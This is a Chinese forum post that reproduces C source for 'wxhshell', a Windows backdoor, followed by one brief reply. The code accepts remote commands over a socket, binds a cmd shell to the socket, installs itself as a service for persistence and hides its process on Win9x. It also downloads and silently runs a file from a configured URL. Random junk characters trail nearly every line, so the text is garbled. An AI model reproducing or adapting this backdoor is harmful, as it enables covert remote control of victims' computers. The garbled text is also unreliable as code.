  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F6^Xi"R[  
  } v o<'7,  
  else { U?]}K S;6  
StZ GKY[Q  
    switch(cmd[0]) { Esx"nex  
  Ns ezUk8'  
  // 帮助 \zOo[/-<  
  case '?': { "Bn8WT2?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); noI>Fw<V  
    break; UaA1HZ1  
  } ?D[9-K4Vn  
  // 安装 QAN :  
  case 'i': { 9=RfGx  
    if(Install()) fib#)KE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?WS=w*O0  
    else l5; SY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &=ZVU\o:  
    break; R(.5Hs  
    } <cig^B{nX  
  // 卸载 T)N_~f|  
  case 'r': { KNvvYwFH]  
    if(Uninstall()) K3g<NC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZH<: g6  
    else ~F; ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZRCm'p3  
    break; ) oypl+y  
    } J]mG!#9  
  // 显示 wxhshell 所在路径 2&b?NqEeZ  
  case 'p': { P6G&3yPt  
    char svExeFile[MAX_PATH]; 1 >}x9D  
    strcpy(svExeFile,"\n\r"); NAg9EaWja{  
      strcat(svExeFile,ExeFile); n VNz5B  
        send(wsh,svExeFile,strlen(svExeFile),0); 2?c##Izn  
    break; t,P_&0X  
    } .R";2f3  
  // 重启 E^K<b7  
  case 'b': { &d,!^9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (D5sJ$&E@\  
    if(Boot(REBOOT)) -/w#f&Y+]8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%g|E'\Jw  
    else { G>@KX  
    closesocket(wsh); b@s6jNhVO^  
    ExitThread(0); WWBm*?U  
    } f\+E&p.  
    break; #OMFv.  
    } /BN_K8nb`  
  // 关机 v w  
  case 'd': { 'r 0kX||  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MrU0Jrk4+  
    if(Boot(SHUTDOWN)) j:>_1P/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ch*a.tI@  
    else { w! kWG,{C  
    closesocket(wsh); Tf*DFyr  
    ExitThread(0); j0wpaIp  
    } V$?@ z>7  
    break; ye^*Z>|  
    } Q\moR^>  
  // 获取shell KkJrh@lk  
  case 's': { zBjtPtiiI8  
    CmdShell(wsh); kfW"vI+d  
    closesocket(wsh); `m")v0n3  
    ExitThread(0); h<0&|s*a)  
    break; }mdk+IEt  
  } FL|\D  
  // 退出 ^0tO2$  
  case 'x': { :3N&&]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y n7z#bu  
    CloseIt(wsh); YZdV0 -S  
    break; jY1^I26E  
    } [C^&iLX/F*  
  // 离开 |L<p90  
  case 'q': { wl.a|~-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4`[2Te>  
    closesocket(wsh); A)%!9i)  
    WSACleanup(); $a#-d;  
    exit(1); [X"pOz  
    break; , G2( l  
        } ;O~k{5.iS  
  } Kl/n>qEt  
  } 4Q17vCC*n  
r "uQ|  
  // 提示信息 M/a40uK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E=# O|[=  
} aN?^vW<  
  } zI.%b7wq  
+4g H=6  
  return;  NIh?2w"\  
} S Rb-eDk'  
5q,ZH6\ {  
// shell模块句柄 s1>d)2lX  
int CmdShell(SOCKET sock) "&%Lhyt  
{ &WKAg:^k)  
STARTUPINFO si; d=C&b]  
ZeroMemory(&si,sizeof(si)); Ud& '*,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *!r"+?0gN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wx*03(|j;  
PROCESS_INFORMATION ProcessInfo; /<VR-yr  
char cmdline[]="cmd";  SH6+'7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5ktFL<^5T  
  return 0; JUCp#[q  
} =/e$Rp  
+~n4</  
// 自身启动模式 :|a$[g5  
int StartFromService(void) cH:9@>'$a  
{ g#%Egb1  
typedef struct T f40lv+{  
{ f=hT o!i  
  DWORD ExitStatus; z'&tmje[?  
  DWORD PebBaseAddress; U1;&G  
  DWORD AffinityMask; z7_h$v  
  DWORD BasePriority; b6NGhkr'\  
  ULONG UniqueProcessId; _$KE E|9  
  ULONG InheritedFromUniqueProcessId; ,4HZ-|EOZ  
}   PROCESS_BASIC_INFORMATION; puAjAvIax  
Oq*;GR(Q  
PROCNTQSIP NtQueryInformationProcess; {,B. OM)J  
e<$s~ UXv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^{Fo,7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }2hU7YWt  
 B9dc *  
  HANDLE             hProcess; \GPTGi5A  
  PROCESS_BASIC_INFORMATION pbi;  r m  
0uu)0:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5)C`W]JE  
  if(NULL == hInst ) return 0; T STkMlCG  
(L*<CV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); * hmoi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *]:J@KGf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;(@' +"  
 ]&OI.p  
  if (!NtQueryInformationProcess) return 0; dUL*~%2I  
ye-[l7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H`s[=Y,m  
  if(!hProcess) return 0; M%Zh{  
?G[=pY:=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8ZCR9%  
K;ocs?rk/  
  CloseHandle(hProcess); .@0@Y  
T"3:dkQw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I;9C":'#  
if(hProcess==NULL) return 0; }wZsM[NDB  
@JPz|  
HMODULE hMod; ZypK''&oc  
char procName[255]; pJ JOy  
unsigned long cbNeeded; 4Uhh]/  
5<M$ XT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <v!jS=T  
J"-/ok(<@  
  CloseHandle(hProcess); |AXV4{j_i  
N/eus"O;  
if(strstr(procName,"services")) return 1; // 以服务启动 " {X0&  
\D1@UyE  
  return 0; // 注册表启动 DzIV5FG  
} 1)3'Y2N*  
\5-Dp9vG  
// 主模块 E`Br#"/Bl  
int StartWxhshell(LPSTR lpCmdLine) U|<>xe*|%  
{ }`aT=_B  
  SOCKET wsl; LLL;SNY  
BOOL val=TRUE; Zrzv';  
  int port=0; ?<rZ9$  
  struct sockaddr_in door; T$sm}=  
a ?\:,5=  
  if(wscfg.ws_autoins) Install(); H43d[@h  
W$<Y**y9m  
port=atoi(lpCmdLine); hW9U%-D  
22*~CIh~x  
if(port<=0) port=wscfg.ws_port; xiV!\Z}  
T 0qM "  
  WSADATA data; c axOxRo\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d@tf+_Ih  
 A"1%E.1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .7M.bpmqE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SkmKf~v  
  door.sin_family = AF_INET; $b[Ha{9(v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >S8 n 8U  
  door.sin_port = htons(port); yMD3h$w3a  
CM6! 1 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [{>3"XJ'  
closesocket(wsl); >2F9Tz,3  
return 1; SW5n?Qj3-  
} >[&ser  
d)0|Q  
  if(listen(wsl,2) == INVALID_SOCKET) { fCZ"0P3(  
closesocket(wsl); u08j9) ,4  
return 1; [E+J=L.l  
} &- !$qUli  
  Wxhshell(wsl); l](!2a=[  
  WSACleanup(); NV==[$(r  
Uw| -d[!  
return 0; FAdTp.   
o+L [o_er  
} / U!xh3  
I`s~.fZt  
// 以NT服务方式启动 "3'a.b akw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J*_^~t  
{ 'V8o["P  
DWORD   status = 0; 0+[3>Ny 0  
  DWORD   specificError = 0xfffffff; `l6OQdB3W  
JDW/Mc1bh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "Pu917_P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?]aVRmL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  8hYl73#  
  serviceStatus.dwWin32ExitCode     = 0; ?2R!n" m-d  
  serviceStatus.dwServiceSpecificExitCode = 0; 76] Z~^Y  
  serviceStatus.dwCheckPoint       = 0; ^=a:{["@!  
  serviceStatus.dwWaitHint       = 0; WYP\J1sy  
Vk*XiEfKm>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }{kn/m/  
  if (hServiceStatusHandle==0) return; :S}ZF$ $j%  
C,%Dp0  
status = GetLastError(); Anqt:(  
  if (status!=NO_ERROR) 5j\Kej  
{ K7C!ZXw~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K4o']{:U  
    serviceStatus.dwCheckPoint       = 0; LK!sk5/  
    serviceStatus.dwWaitHint       = 0; (pHJEY  
    serviceStatus.dwWin32ExitCode     = status; 0d+b<J,  
    serviceStatus.dwServiceSpecificExitCode = specificError; _ nz^+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @=2u;$.  
    return; ^6Zx-Mf\  
  } wp'[AR}  
lHPnAaue@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yE.st9m  
  serviceStatus.dwCheckPoint       = 0; nf[KD,f  
  serviceStatus.dwWaitHint       = 0; Y^C(<N$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2 E?]!9T~|  
} 2Nx:Y+[  
9P,[MZ  
// 处理NT服务事件,比如:启动、停止 _zzT[}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6`%|-o :  
{ LpI4R  
switch(fdwControl) %%I:L~c  
{ bKsEXS  
case SERVICE_CONTROL_STOP:  DZ4gp  
  serviceStatus.dwWin32ExitCode = 0; 9Y2.ob!$}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D=Nt 0y  
  serviceStatus.dwCheckPoint   = 0; .mg0L\  
  serviceStatus.dwWaitHint     = 0; P)XR9&o':  
  { S4c-i2Rq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :4x6dYNU  
  } u\/TR#b  
  return; 1 <m.Q*  
case SERVICE_CONTROL_PAUSE: TaaCl#g$?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h?h)i>  
  break; M+^ NF\  
case SERVICE_CONTROL_CONTINUE: ]Nw ]po+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z0O0Q=e\Y  
  break; VC_F Cz  
case SERVICE_CONTROL_INTERROGATE: =v!Z8zk=W  
  break; 8kr$w$=q  
}; 2yD ?f8P4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DZLEx{cm  
} ?R4u>AHS@  
,\1Rf.  
// 标准应用程序主函数 N)a5~<fBG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {?++T 0  
{ KY0<N 9{  
&U CtyCz  
// 获取操作系统版本 M?;YpaSe+  
OsIsNt=GetOsVer(); 90,UhNz9D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H3pZfdh?w  
g;OR{  
  // 从命令行安装 @MoCEtt  
  if(strpbrk(lpCmdLine,"iI")) Install(); :cIPX%S  
|}:q@]dC#  
  // 下载执行文件 !6sR|c"~j  
if(wscfg.ws_downexe) { PR AP~P&^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [3ggJcUgW>  
  WinExec(wscfg.ws_filenam,SW_HIDE); qF-Fc q  
} *-.`Q  
]/3!t=La  
if(!OsIsNt) { s jaaZx1  
// 如果时win9x,隐藏进程并且设置为注册表启动 p2fzbBt  
HideProc(); t$p%UyVE  
StartWxhshell(lpCmdLine); LaZ @4/z!  
} DHyQ:0q  
else S$P=;#r  
  if(StartFromService()) ;9-J=@KY4  
  // 以服务方式启动 BZKg:;9  
  StartServiceCtrlDispatcher(DispatchTable); ^y93h8\y  
else s&CK  
  // 普通方式启动 'PW/0k  
  StartWxhshell(lpCmdLine); JlawkA  
7L6^IK  
return 0; /QCg E ~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五